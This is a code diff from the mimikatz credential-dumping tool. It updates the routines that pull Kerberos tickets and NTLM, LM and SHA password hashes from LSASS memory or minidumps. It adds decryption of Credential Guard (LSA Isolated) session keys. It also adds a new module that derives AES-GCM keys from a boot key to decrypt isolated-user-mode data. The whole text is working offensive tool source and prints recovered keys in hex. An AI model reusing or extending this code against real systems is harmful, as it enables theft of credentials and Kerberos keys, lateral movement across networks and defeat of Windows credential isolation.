void kuhl_m_sekurlsa_sk_candidatekeys_descr();
DWORD kuhl_m_sekurlsa_sk_search(PBYTE data, DWORD size, BOOL light);
DWORD kuhl_m_sekurlsa_sk_search_file(LPCWSTR filename);
BOOL kuhl_m_sekurlsa_sk_tryDecode(PLSAISO_DATA_BLOB blob, PBYTE *output, DWORD *cbOutput);

View File

@ -612,6 +612,7 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION
KULL_M_MEMORY_ADDRESS data = {&pStruct, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aTicket = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aLsassBuffer = {tickets, pData->cLsass->hLsassMem};
DWORD nbTickets = 0;
PKIWI_KERBEROS_TICKET pKiwiTicket;
KIWI_KERBEROS_BUFFER lsaIsoKey;
PBERVAL BerApp_KrbCred;
BOOL isNormalSessionKey;
wchar_t * filename;
@ -632,6 +633,24 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION
{
isNormalSessionKey = (pData->cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_10_1507) || (pKiwiTicket->Key.Length < (ULONG) FIELD_OFFSET(LSAISO_DATA_BLOB, data));
kuhl_m_kerberos_ticket_display(pKiwiTicket, isNormalSessionKey, FALSE);
if(!isNormalSessionKey)
{
kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType));
if(pKiwiTicket->Key.Length <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
{
if(kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value, &lsaIsoKey.Value, &lsaIsoKey.Length))
{
kprintf(L"\n\t * Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType));
kprintf(L"\n\t ");
kull_m_string_wprintf_hex(lsaIsoKey.Value, lsaIsoKey.Length, 0);
kuhl_m_kerberos_ticket_freeKiwiKerberosBuffer(&pKiwiTicket->Key);
pKiwiTicket->Key = lsaIsoKey;
}
}
else kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) pKiwiTicket->Key.Value, pKiwiTicket->Key.Length);
}
if(isFile)
if(filename = kuhl_m_sekurlsa_kerberos_generateFileName(pData->LogonId, grp, nbTickets, pKiwiTicket, MIMIKATZ_KERBEROS_EXT))
{
@ -645,16 +664,6 @@ void kuhl_m_sekurlsa_kerberos_enum_tickets(IN PKIWI_BASIC_SECURITY_LOGON_SESSION
LocalFree(filename);
}
if(!isNormalSessionKey)
{
kprintf(L"\n\t LSA Session Key : 0x%08x - %s", pKiwiTicket->KeyType, kuhl_m_kerberos_ticket_etype(pKiwiTicket->KeyType));
if(pKiwiTicket->Key.Length <= (FIELD_OFFSET(LSAISO_DATA_BLOB, data) + (sizeof("KerberosKey") - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) pKiwiTicket->Key.Value);
else
kuhl_m_sekurlsa_genericEncLsaIsoOutput((PENC_LSAISO_DATA_BLOB) pKiwiTicket->Key.Value, pKiwiTicket->Key.Length);
}
kuhl_m_kerberos_ticket_freeTicket(pKiwiTicket);
}
data.address = ((PLIST_ENTRY) (aTicket.address))->Flink;

View File

@ -129,9 +129,9 @@ VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID
const MSV1_0_PRIMARY_HELPER msv1_0_primaryHelper[] = {
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, UserName), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL, ShaOwPassword), 0, 0},
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, align0)},
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, align2)},
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isDPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, ShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, DPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isoSize)},
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, NtOwfPassword)},
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_OLD, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, isShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, ShaOwPassword), 0, FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10, NtOwfPassword)},
{FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LogonDomainName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, UserName), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isIso), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isNtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isLmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, isDPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, LmOwfPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, ShaOwPassword), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, DPAPIProtected), FIELD_OFFSET(MSV1_0_PRIMARY_CREDENTIAL_10_1607, NtOwfPassword)},
};
const MSV1_0_PRIMARY_HELPER * kuhl_m_sekurlsa_msv_helper(PKUHL_M_SEKURLSA_CONTEXT context)

152
modules/kull_m_crypto_sk.c Normal file
View File

@ -0,0 +1,152 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kull_m_crypto_sk.h"
NTSTATUS SkpOpenAesGcmProvider(BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm)
{
NTSTATUS status;
DWORD cbResult;
status = BCryptOpenAlgorithmProvider(phAlgAESGCM, BCRYPT_AES_ALGORITHM, NULL, 0);
if(NT_SUCCESS(status))
{
status = BCryptSetProperty(*phAlgAESGCM, BCRYPT_CHAINING_MODE, (PUCHAR) BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
if(NT_SUCCESS(status))
{
status = BCryptGetProperty(*phAlgAESGCM, BCRYPT_OBJECT_LENGTH, (PUCHAR) pObjectLengthAesGcm, sizeof(DWORD), &cbResult, 0);
if(!NT_SUCCESS(status))
PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", status);
}
else PRINT_ERROR(L"BCryptSetProperty: 0x%08x\n", status);
if(!NT_SUCCESS(status))
BCryptCloseAlgorithmProvider(*phAlgAESGCM, 0);
}
else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status);
return status;
}
NTSTATUS SkpOpenKdfProvider(BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108)
{
NTSTATUS status;
DWORD cbResult;
status = BCryptOpenAlgorithmProvider(phAlgSP800108, BCRYPT_SP800108_CTR_HMAC_ALGORITHM, NULL, 0);
if(NT_SUCCESS(status))
{
status = BCryptGetProperty(*phAlgSP800108, BCRYPT_OBJECT_LENGTH, (PUCHAR) pObjectLengthSP800108, sizeof(DWORD), &cbResult, 0);
if(!NT_SUCCESS(status))
{
PRINT_ERROR(L"BCryptGetProperty: 0x%08x\n", status);
BCryptCloseAlgorithmProvider(*phAlgSP800108, 0);
}
}
else PRINT_ERROR(L"BCryptOpenAlgorithmProvider: 0x%08x\n", status);
return status;
}
NTSTATUS SkpImportMasterKeyInKdf(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE hAlgSP800108, DWORD ObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, UCHAR *pbKeyObject)
{
return BCryptGenerateSymmetricKey(hAlgSP800108, phKeySP800108, pbKeyObject, ObjectLengthSP800108, BootKey, cbBootKey, 0);
}
NTSTATUS SkpInitSymmetricEncryption(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm, BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, PUCHAR *pbKeyObject)
{
BOOLEAN bIsAlgAESGCM = FALSE, bIsAlgSP800108 = FALSE;
NTSTATUS status;
status = SkpOpenAesGcmProvider(phAlgAESGCM, pObjectLengthAesGcm);
if(NT_SUCCESS(status))
{
bIsAlgAESGCM = TRUE;
status = SkpOpenKdfProvider(phAlgSP800108, pObjectLengthSP800108);
if(NT_SUCCESS(status))
{
bIsAlgSP800108 = TRUE;
if(*pbKeyObject = (PUCHAR) LocalAlloc(LPTR, *pObjectLengthSP800108))
{
status = SkpImportMasterKeyInKdf(BootKey, cbBootKey, *phAlgSP800108, *pObjectLengthSP800108, phKeySP800108, *pbKeyObject);
if(!NT_SUCCESS(status))
{
PRINT_ERROR(L"SkpImportMasterKeyInKdf: 0x%08x\n", status);
LocalFree(pbKeyObject);
}
}
}
else PRINT_ERROR(L"SkpOpenKdfProvider: 0x%08x\n", status);
}
else PRINT_ERROR(L"SkpOpenAesGcmProvider: 0x%08x\n", status);
if(!NT_SUCCESS(status))
{
if(bIsAlgAESGCM)
BCryptCloseAlgorithmProvider(*phAlgAESGCM, 0);
if(bIsAlgSP800108)
BCryptCloseAlgorithmProvider(*phAlgSP800108, 0);
}
return status;
}
NTSTATUS SkpDeriveSymmetricKey(BCRYPT_KEY_HANDLE hKey, CHAR *cLabel, ULONG cbLabel, PBYTE pContext, ULONG cbContext, PUCHAR pbDerivedKey, ULONG cbDerivedKey)
{
ULONG cbResult;
BCryptBuffer Buffers[] = {
{sizeof(BCRYPT_SHA256_ALGORITHM), KDF_HASH_ALGORITHM, BCRYPT_SHA256_ALGORITHM},
{cbLabel, KDF_LABEL, cLabel},
{cbContext, KDF_CONTEXT, pContext}
};
BCryptBufferDesc ParameterList = {BCRYPTBUFFER_VERSION, ARRAYSIZE(Buffers), Buffers};
return BCryptKeyDerivation(hKey, &ParameterList, pbDerivedKey, cbDerivedKey, &cbResult, 0);
}
NTSTATUS SkpEncryptionWorker(PBYTE BootKey, DWORD cbBootKey, UCHAR *pbInput, ULONG cbInput, UCHAR *pbAuthData, ULONG cbAuthData, UCHAR *pKdfContext, ULONG cbKdfContext, UCHAR *pbTag, ULONG cbTag, UCHAR *pbOutput, ULONG cbOutput, BOOL Encrypt)
{
NTSTATUS status;
BCRYPT_ALG_HANDLE hAlgAESGCM, hAlgSP800108;
BCRYPT_KEY_HANDLE hKeyAESGCM, hKeySP800108;
ULONG ObjectLengthAesGcm, ObjectLengthSP800108, cbResult;
UCHAR *pbKeyObjectAES, *pbKeyObjectSP800108, DerivedKey[32], pbIV[12] = {0};
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO info;
PBCRYPT_ENCRYPT cryptFunc = Encrypt ? BCryptEncrypt : BCryptDecrypt;
__try
{
status = SkpInitSymmetricEncryption(BootKey, cbBootKey, &hAlgAESGCM, &ObjectLengthAesGcm, &hAlgSP800108, &ObjectLengthSP800108, &hKeySP800108, &pbKeyObjectSP800108);
if(NT_SUCCESS(status))
{
status = SkpDeriveSymmetricKey(hKeySP800108, IUMDATAPROTECT, sizeof(IUMDATAPROTECT), pKdfContext, cbKdfContext, DerivedKey, sizeof(DerivedKey));
if(NT_SUCCESS(status))
{
if(pbKeyObjectAES = (PUCHAR) LocalAlloc(LPTR, ObjectLengthAesGcm))
{
status = BCryptGenerateSymmetricKey(hAlgAESGCM, &hKeyAESGCM, pbKeyObjectAES, ObjectLengthAesGcm, DerivedKey, sizeof(DerivedKey), 0);
if(NT_SUCCESS(status))
{
BCRYPT_INIT_AUTH_MODE_INFO(info);
info.pbNonce = pbIV;
info.cbNonce = sizeof(pbIV);
info.pbAuthData = pbAuthData;
info.cbAuthData = cbAuthData;
info.pbTag = pbTag;
info.cbTag = cbTag;
status = cryptFunc(hKeyAESGCM, pbInput, cbInput, &info, pbIV, sizeof(pbIV), pbOutput, cbOutput, &cbResult, 0);
BCryptDestroyKey(hKeyAESGCM);
}
else PRINT_ERROR(L"BCryptGenerateSymmetricKey: 0x%08x\n", status);
LocalFree(pbKeyObjectAES);
}
}
else PRINT_ERROR(L"SkpDeriveSymmetricKey: 0x%08x\n", status);
BCryptDestroyKey(hKeySP800108);
LocalFree(pbKeyObjectSP800108);
BCryptCloseAlgorithmProvider(hAlgSP800108, 0);
BCryptCloseAlgorithmProvider(hAlgAESGCM, 0);
}
else PRINT_ERROR(L"SkpInitSymmetricEncryption: 0x%08x\n", status);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"Skp Crypto without CNG?\n");
}
return status;
}

View File

@ -0,0 +1,28 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "globals.h"
#include "kull_m_string.h"
#if !defined(BCRYPT_SP800108_CTR_HMAC_ALGORITHM)
#define BCRYPT_SP800108_CTR_HMAC_ALGORITHM L"SP800_108_CTR_HMAC"
#define KDF_LABEL 0xD
#define KDF_CONTEXT 0xE
#define KDF_SALT 0xF
#define KDF_ITERATION_COUNT 0x10
extern NTSTATUS WINAPI BCryptKeyDerivation(IN BCRYPT_KEY_HANDLE hKey, IN OPTIONAL BCryptBufferDesc *pParameterList, OUT PUCHAR pbDerivedKey, IN ULONG cbDerivedKey, OUT ULONG *pcbResult, IN ULONG dwFlags);
#endif
#define IUMDATAPROTECT "IUMDATAPROTECT"
typedef NTSTATUS (WINAPI * PBCRYPT_ENCRYPT) (__inout BCRYPT_KEY_HANDLE hKey, __in_bcount_opt(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in_opt VOID *pPaddingInfo, __inout_bcount_opt(cbIV) PUCHAR pbIV, __in ULONG cbIV, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
NTSTATUS SkpOpenAesGcmProvider(BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm);
NTSTATUS SkpOpenKdfProvider(BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108);
NTSTATUS SkpImportMasterKeyInKdf(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE hAlgSP800108, DWORD ObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, UCHAR *pbKeyObject);
NTSTATUS SkpInitSymmetricEncryption(PBYTE BootKey, DWORD cbBootKey, BCRYPT_ALG_HANDLE *phAlgAESGCM, DWORD *pObjectLengthAesGcm, BCRYPT_ALG_HANDLE *phAlgSP800108, DWORD *pObjectLengthSP800108, BCRYPT_KEY_HANDLE *phKeySP800108, PUCHAR *pbKeyObject);
NTSTATUS SkpDeriveSymmetricKey(BCRYPT_KEY_HANDLE hKey, CHAR *cLabel, ULONG cbLabel, PBYTE pContext, ULONG cbContext, PUCHAR pbDerivedKey, ULONG cbDerivedKey);
NTSTATUS SkpEncryptionWorker(PBYTE BootKey, DWORD cbBootKey, UCHAR *pbInput, ULONG cbInput, UCHAR *pbAuthData, ULONG cbAuthData, UCHAR *pKdfContext, ULONG cbKdfContext, UCHAR *pbTag, ULONG cbTag, UCHAR *pbOutput, ULONG cbOutput, BOOL Encrypt);

View File

@ -96,7 +96,7 @@ BOOL kull_m_file_readData(PCWCHAR fileName, PBYTE * data, PDWORD lenght) // for
if(!(reussite = kull_m_string_quick_base64_to_Binary(fileName, data, lenght)))
PRINT_ERROR_AUTO(L"kull_m_string_quick_base64_to_Binary");
}
else if((hFile = CreateFile(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE)
else if((hFile = CreateFile(fileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)) && hFile != INVALID_HANDLE_VALUE)
{
if(GetFileSizeEx(hFile, &filesize) && !filesize.HighPart)
{

View File

@ -38,7 +38,7 @@ LPVOID kull_m_minidump_RVAtoPTR(IN PKULL_M_MINIDUMP_HANDLE hMinidump, RVA64 rva)
return (PBYTE) (hMinidump->pMapViewOfFile) + rva;
}
LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type)
LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type, OUT OPTIONAL DWORD *pSize)
{
ULONG32 i;
PMINIDUMP_DIRECTORY pStreamDirectory = (PMINIDUMP_DIRECTORY) kull_m_minidump_RVAtoPTR(hMinidump, ((PMINIDUMP_HEADER) (hMinidump->pMapViewOfFile))->StreamDirectoryRva);
@ -46,7 +46,11 @@ LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STR
for(i = 0; i < ((PMINIDUMP_HEADER) (hMinidump->pMapViewOfFile))->NumberOfStreams; i++)
{
if(pStreamDirectory[i].StreamType == type)
{
if(pSize)
*pSize = pStreamDirectory[i].Location.DataSize;
return kull_m_minidump_RVAtoPTR(hMinidump, pStreamDirectory[i].Location.Rva);
}
}
return NULL;
}
@ -62,7 +66,7 @@ BOOL kull_m_minidump_copy(IN PKULL_M_MINIDUMP_HANDLE hMinidump, OUT VOID *Destin
PMINIDUMP_MEMORY_DESCRIPTOR64 memory64;
ULONG64 offsetToRead, offsetToWrite, lengthToRead, lengthReaded = 0;
if(myDir = (PMINIDUMP_MEMORY64_LIST) kull_m_minidump_stream(hMinidump, Memory64ListStream))
if(myDir = (PMINIDUMP_MEMORY64_LIST) kull_m_minidump_stream(hMinidump, Memory64ListStream, NULL))
{
ptr = (PBYTE) kull_m_minidump_RVAtoPTR(hMinidump, myDir->BaseRva);
for(nMemory64 = 0; nMemory64 < myDir->NumberOfMemoryRanges; nMemory64++, ptr += memory64->DataSize)
@ -105,7 +109,7 @@ LPVOID kull_m_minidump_remapVirtualMemory64(IN PKULL_M_MINIDUMP_HANDLE hMinidump
ULONG64 nMemory64, previousPtr = 0, previousSize = 0, size = 0;
PMINIDUMP_MEMORY_DESCRIPTOR64 memory64;
myDir = kull_m_minidump_stream(hMinidump, Memory64ListStream);
myDir = kull_m_minidump_stream(hMinidump, Memory64ListStream, NULL);
if(myDir)
{
ptr = (PBYTE) kull_m_minidump_RVAtoPTR(hMinidump, ((PMINIDUMP_MEMORY64_LIST) myDir)->BaseRva);

View File

@ -17,5 +17,5 @@ BOOL kull_m_minidump_close(IN PKULL_M_MINIDUMP_HANDLE hMinidump);
BOOL kull_m_minidump_copy(IN PKULL_M_MINIDUMP_HANDLE hMinidump, OUT VOID *Destination, IN VOID *Source, IN SIZE_T Length);
LPVOID kull_m_minidump_RVAtoPTR(IN PKULL_M_MINIDUMP_HANDLE hMinidump, RVA64 rva);
LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type);
LPVOID kull_m_minidump_stream(IN PKULL_M_MINIDUMP_HANDLE hMinidump, MINIDUMP_STREAM_TYPE type, OUT OPTIONAL DWORD *pSize);
LPVOID kull_m_minidump_remapVirtualMemory64(IN PKULL_M_MINIDUMP_HANDLE hMinidump, IN VOID *Source, IN SIZE_T Length);

View File

@ -200,7 +200,7 @@ NTSTATUS kull_m_process_getVeryBasicModuleInformations(PKULL_M_MEMORY_HANDLE mem
case KULL_M_MEMORY_TYPE_PROCESS_DMP:
moduleInformation.NameDontUseOutsideCallback = &moduleName;
if(pMinidumpModuleList = (PMINIDUMP_MODULE_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, ModuleListStream))
if(pMinidumpModuleList = (PMINIDUMP_MODULE_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, ModuleListStream, NULL))
{
for(i = 0; (i < pMinidumpModuleList->NumberOfModules) && continueCallback; i++)
{
@ -316,7 +316,7 @@ NTSTATUS kull_m_process_getMemoryInformations(PKULL_M_MEMORY_HANDLE memory, PKUL
status = STATUS_SUCCESS;
break;
case KULL_M_MEMORY_TYPE_PROCESS_DMP:
if(maListeInfo = (PMINIDUMP_MEMORY_INFO_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, MemoryInfoListStream))
if(maListeInfo = (PMINIDUMP_MEMORY_INFO_LIST) kull_m_minidump_stream(memory->pHandleProcessDmp->hMinidump, MemoryInfoListStream, NULL))
{
for(i = 0; (i < maListeInfo->NumberOfEntries) && continueCallback; i++)
{